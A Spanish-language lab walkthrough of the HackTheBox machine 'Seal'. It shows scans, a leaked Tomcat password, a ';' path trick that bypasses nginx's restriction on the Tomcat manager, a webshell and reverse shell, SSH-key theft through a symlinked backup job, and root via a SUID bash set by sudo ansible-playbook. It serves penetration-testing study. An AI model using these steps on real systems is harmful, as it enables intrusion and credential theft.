Seal presenta distintos respositorios en GitBucket, donde se muestra la configuracion de Nginx y Tomcat, por medio de estos logramos acceder al primer usuario. Un proceso nos permitió generar un backup de la clave privada con un enlace simbolico de SSH de un segundo usuario. Finalmente escalamos privilegios utilizando ansible-playbook.
Nombre |
Seal |
OS |
Linux |
Puntos |
30 |
Dificultad |
Media |
IP |
10.10.10.250 |
Maker |
MrR3boot |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[6.3, 5.9, 4.9, 5.1, 4.1],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[6, 10, 5, 5, 0],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
Recon
nmap
Escaneo de puertos con nmap nos muestra multiples puertos abiertos: ssh (22), https (443), http (8080). Además se muestra un dominio: seal.htb
el cual agregamos al archivo /etc/hosts
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
# Nmap 7.91 scan initiated Tue Jul 13 17:58:34 2021 as: nmap -sV -sC -p22,443,8080 -oN scans 10.10.10.250
Nmap scan report for 10.10.10.250 (10.10.10.250)
Host is up (0.068s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
| 256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_ 256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after: 2022-05-05T10:24:03
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 401 Unauthorized
| Date: Tue, 13 Jul 2021 22:15:34 GMT
| Set-Cookie: JSESSIONID=node0pikwwm1ufkdt1sapwo4wabcqg2.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| GetRequest:
| HTTP/1.1 401 Unauthorized
| Date: Tue, 13 Jul 2021 22:15:33 GMT
| Set-Cookie: JSESSIONID=node0onk9vj2as4e4hqd3903kmhjo0.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Tue, 13 Jul 2021 22:15:34 GMT
| Set-Cookie: JSESSIONID=node0l2xbmz674jwh13xgyl9imlaau1.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Allow: GET,HEAD,POST,OPTIONS
| Content-Length: 0
| RPCCheck:
| HTTP/1.1 400 Illegal character OTEXT=0x80
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 71
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
| RTSPRequest:
| HTTP/1.1 505 Unknown Version
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
| <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
| Socks4:
| HTTP/1.1 400 Illegal character CNTL=0x4
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
| Socks5:
| HTTP/1.1 400 Illegal character CNTL=0x5
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
|_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
# Nmap done at Tue Jul 13 17:58:58 2021 -- 1 IP address (1 host up) scanned in 23.32 seconds
|
Web Site
Encontramos una tienda en linea que no presenta ningun tipo de funcionalidad.
Directory Brute Forcing
Feroxbuster muestra una direccion que pertenece a Tomcat. Al visitar la direccion /manager
retorna Codigo 403, lo que significa que no estamos permitidos a acceder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
π ~/htb/seal ❯ feroxbuster -u https://seal.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.0
───────────────────────────┬──────────────────────
🎯 Target Url │ https://seal.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔓 Insecure │ true
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
302 0l 0w 0c https://seal.htb/images
302 0l 0w 0c https://seal.htb/admin
302 0l 0w 0c https://seal.htb/icon
302 0l 0w 0c https://seal.htb/css
302 0l 0w 0c https://seal.htb/js
302 0l 0w 0c https://seal.htb/manager
[####################] - 10m 220545/220545 0s found:6 errors:0
[####################] - 10m 220545/220545 360/s https://seal.htb/
|
GitBucket
En el puerto 8080 encontramos GitBucket tras registrar e ingresar un usuario en el panel de registro vemos dos repositorios.
Segun la definicion, el primero es la tienda que se muestra en el puerto 80, el segundo se describe como un Playbook para administrar la tienda (Tomcat).
Seal Market - Repo
Descubrimos en Seal_market un commit en el que se modifica el archivo tomcat-users.xml, se muestra un usuario y contraseña (tomcat:42MrHBf*z8{Z%
).
Además vemos que la app (Seal Market) solo es una pagina estatica sin ninguna conexion a alguna base de datos.
Tambien en la configuracion de nginx (nginx/sites-available/default) vemos que no permite acceder a distintas rutas sin autenticación mediante un certificado, en el caso de no estar autenticado retorna codigo 403 como en /manager
, tambien vemos configuracion para Reverse Proxy.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
ssl_certificate /var/www/keys/selfsigned.crt;
ssl_certificate_key /var/www/keys/selfsigned.key;
ssl_client_certificate /var/www/keys/selfsigned-ca.crt;
server {
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
root /var/www/html;
ssl_protocols TLSv1.1 TLSv1.2;
ssl_verify_client optional;
index index.html index.htm index.nginx-debian.html;
server_name _;
location /manager/html {
if ($ssl_client_verify != SUCCESS) {
return 403;
}
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_pass http://localhost:8000;
proxy_read_timeout 90;
proxy_redirect http://localhost:8000 https://0.0.0.0;
}
location /admin/dashboard {
if ($ssl_client_verify != SUCCESS) {
return 403;
}
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_pass http://localhost:8000;
proxy_read_timeout 90;
proxy_redirect http://localhost:8000 https://0.0.0.0;
}
location /host-manager/html {
if ($ssl_client_verify != SUCCESS) {
return 403;
}
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_pass http://localhost:8000;
proxy_read_timeout 90;
proxy_redirect http://localhost:8000 https://0.0.0.0;
}
location / {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_pass http://localhost:8000;
proxy_read_timeout 90;
proxy_redirect http://localhost:8000 https://0.0.0.0;
}
}
|
Luis - Account
En los commits de Seal Market se muestran nombres de posibles usuarios, y, utilizando la contraseña que encontramos pudimos acceder a la cuenta de Luis, aunque no encontramos algun otro repositorio, pero tenemos permisos sobre uno de los repositorios. Descubrimos tambien, exploits que permiten ejecutar comandos aunque no parece afectar a esta version de GitBucket.
Tomcat
Intentamos subir una shell inversa como en Tabby - HTB pero dicha direccion no esta permitida tal y como se define en la configuracion de Nginx, de cierta forma necesitamos hacer algun tipo de Bypass.
1
2
3
4
5
6
|
π ~/htb/seal ❯ curl -sk --upload-file batman.war --user 'tomcat:42MrHBf*z8{Z%' "https://seal.htb/manager/text/deploy?path=/batman&update=True" | html2text
****** 403 Access Denied ******
You are not authorized to view this page.
By default the Manager is only accessible from a browser running on the same
machine as Tomcat. If you wish to modify this restriction, you'll need to edit
the Manager's context.xml file.
|
Seal Market
Encontramos algunos recursos relacionados a Nginx Misconfiguration (1, 2), Security restrictiont bypass (1) y Reverse Proxy Attacks, en este ultimo se muestran algunas formas para realizar bypass. Finalmente en Breaking Parser Logic! (Pag 42-62) se muestran algunos ejemplos entre ellos encontramos un “payload” (;name=orange
) y el comportamiento que toma en diferentes servidores.
En el ejemplo (http://example.com/foo;name=orange/bar/
) tomcat toma la direccion como /foo/bar/
lo que permitiría acceder a rutas las cuales no estamos permitidos.
Al utilizar el “payload” (;
) en la direccion (https://seal.htb/manager;/html
) del panel de tomcat nos permitió acceder con las credenciales de tomcat.
Tomcat - User
Shell
Por alguna razon Firefox no permite subir un archivo .war
segun parece, por las cookies, creamos y subimos con Chromium una webshell lo que nos permitió ejecutar comandos, utilizamos Reverse Shell as a Service para la ejecucion de una shell inversa.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
π ~/htb/seal ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.24] from seal.htb [10.10.10.250] 58844
/bin/sh: 0: can't access tty; job control turned off
which python
which python3
/usr/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash");'
whoami; id; pwd
whoami; id; pwd
tomcat
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
/var/lib/tomcat9
tomcat@seal:/var/lib/tomcat9$
|
Luis - User
Listando los procesos vemos el comando ansible-playbook
ejecutando un archivo yaml (run.yml
) cada 30 segundos, dentro de este archivo encontramos 3 tareas, una de estas realiza una copia o backup de los archivos de /var/lib/tomcat9/webapps/ROOT/admin/dashboard
incluyendo los symlinks luego crea un archivo .gz
en /opt/backups/archives/
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
tomcat@seal:/$ ps -ef|grep luis
luis 878 854 0 05:32 ? 00:00:00 /bin/sh -c java -jar /home/luis/gitbucket.war
luis 880 878 2 05:32 ? 00:21:56 java -jar /home/luis/gitbucket.war
root 254757 254756 0 22:53 ? 00:00:00 /bin/sh -c sleep 30 && sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml
tomcat 254762 252177 0 22:53 pts/1 00:00:00 grep luis
tomcat@seal:/$ ls -lah /usr/bin/ansible-playbook
lrwxrwxrwx 1 root root 7 Mar 16 2020 /usr/bin/ansible-playbook -> ansible
tomcat@seal:/$ ls -lah /opt/backups/playbook/run.yml
-rw-rw-r-- 1 luis luis 403 May 7 07:14 /opt/backups/playbook/run.yml
tomcat@seal:/$ cat /opt/backups/playbook/run.yml
- hosts: localhost
tasks:
- name: Copy Files
synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
- name: Server Backups
archive:
path: /opt/backups/files/
dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
- name: Clean
file:
state: absent
path: /opt/backups/files/
tomcat@seal:/$
|
En la carpeta dashboard
encontramos uploads/
dentro de esta tenemos permisos de escritura, creamos un ‘symlink’ apuntando a la carpeta .ssh
del usuario Luis, ya que el proceso es ejecutado con este usuario.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ ls -lah
total 100K
drwxr-xr-x 7 root root 4.0K May 7 09:26 .
drwxr-xr-x 3 root root 4.0K May 6 10:48 ..
drwxr-xr-x 5 root root 4.0K Mar 7 2015 bootstrap
drwxr-xr-x 2 root root 4.0K Mar 7 2015 css
drwxr-xr-x 4 root root 4.0K Mar 7 2015 images
-rw-r--r-- 1 root root 71K May 6 10:42 index.html
drwxr-xr-x 4 root root 4.0K Mar 7 2015 scripts
drwxrwxrwx 2 root root 4.0K Jul 16 23:12 uploads
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ cd uploads
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$ ln -s /home/luis/.ssh
<ROOT/admin/dashboard/uploads$ ln -s /home/luis/.ssh
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$ ls -lah
total 8.0K
drwxrwxrwx 2 root root 4.0K Jul 16 23:12 .
drwxr-xr-x 7 root root 4.0K May 7 09:26 ..
lrwxrwxrwx 1 tomcat tomcat 15 Jul 16 23:12 .ssh -> /home/luis/.ssh
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$
|
Vemos que se creó el backup, realizamos una copia y tras extraer el contenido vemos la clave privada de Luis.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
tomcat@seal:/opt/backups/archives$ ls -lah
total 1.8M
drwxrwxr-x 2 luis luis 4.0K Jul 16 23:22 .
drwxr-xr-x 4 luis luis 4.0K Jul 16 23:22 ..
-rw-rw-r-- 1 luis luis 596K Jul 16 23:20 backup-2021-07-16-23:20:32.gz
-rw-rw-r-- 1 luis luis 596K Jul 16 23:21 backup-2021-07-16-23:21:32.gz
-rw-rw-r-- 1 luis luis 596K Jul 16 23:22 backup-2021-07-16-23:22:32.gz
tomcat@seal:/opt/backups/archives$ cp backup-2021-07-16-23:23:32.gz /dev/shm
tomcat@seal:/opt/backups/archives$ cd /dev/shm
tomcat@seal:/dev/shm$ ls
backup-2021-07-16-23:23:32.gz
tomcat@seal:/dev/shm$ mv backup* backup.gz
tomcat@seal:/dev/shm$ tar -zxvf backup.gz
[ ... REDACTED ... ]
dashboard/uploads/.ssh/
dashboard/uploads/.ssh/id_rsa
dashboard/uploads/.ssh/id_rsa.pub
dashboard/uploads/.ssh/authorized_keys
[ ... REDACTED ... ]
tomcat@seal:/dev/shm$
|
Con ello conseguimos acceso a este usuario por SSH y la flag user.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
π ~/htb/seal ❯ ssh luis@seal.htb -i id_rsa_luis
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri 16 Jul 2021 11:06:53 PM UTC
System load: 0.14
Usage of /: 47.1% of 9.58GB
Memory usage: 60%
Swap usage: 0%
Processes: 180
Users logged in: 0
IPv4 address for eth0: 10.10.10.250
IPv6 address for eth0: dead:beef::250:56ff:feb9:1ee8
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Jul 16 17:22:51 2021 from 10.10.14.4
luis@seal:~$ ls
gitbucket.war user.txt
luis@seal:~$ cat user.txt
9ee0bf21e12a6c27854c72cb79d3729a
luis@seal:~$
|
DB - Gitbucket
En la carpeta principal de Luis
encontramos el archivo data.mv.db
, con dbeaver vemos que es la “base de datos” de esta plataforma, además encontramos los hashes de los usuarios registrados.
Privesc
Tras ejecutar sudo -l -l
vemos que tenemos permisos sudo (root) para ejecutar el comando ansible-playbook
.
1
2
3
4
5
6
7
8
9
10
11
12
|
luis@seal:~$ sudo -l -l
Matching Defaults entries for luis on seal:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User luis may run the following commands on seal:
Sudoers entry:
RunAsUsers: ALL
Options: !authenticate
Commands:
/usr/bin/ansible-playbook *
luis@seal:~$
|
Creamos un archivo que le da permisos suid a /bin/bash
en la carpeta de Luis.
1
|
echo "chmod u+s /bin/bash" > /home/luis/upgrade_bash.sh
|
Tambien creamos el archivo upgrade.yml
siguiendo la documentacion para ejecutar comandos en este caso para ejecutar nuestro archivo upgrade_bash.sh
.
1
2
3
4
|
- hosts: localhost
tasks:
- name: Upgrade Bash to SUID
command: /bin/bash /home/luis/upgrade_bash.sh
|
Tras ejecutar el archivo logramos obtener una shell como root y la flag root.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
luis@seal:~$ sudo /usr/bin/ansible-playbook upgrade.yml
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'
PLAY [localhost] ***************************************************************************************************************************************************************************
TASK [Gathering Facts] *********************************************************************************************************************************************************************
ok: [localhost]
TASK [SSH Key] *****************************************************************************************************************************************************************************
changed: [localhost]
PLAY RECAP *********************************************************************************************************************************************************************************
localhost : ok=2 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
luis@seal:~$ ls -lah /bin/bash
-rwsr-xr-x 1 root root 1.2M Jun 18 2020 /bin/bash
luis@seal:~$ /bin/bash -p
bash-5.0# whoami
root
bash-5.0# cd /root
bash-5.0# ls
root.txt snap
bash-5.0# cat root.txt
05a0803bb8bb99a5cb90f63c08b74445
bash-5.0#
|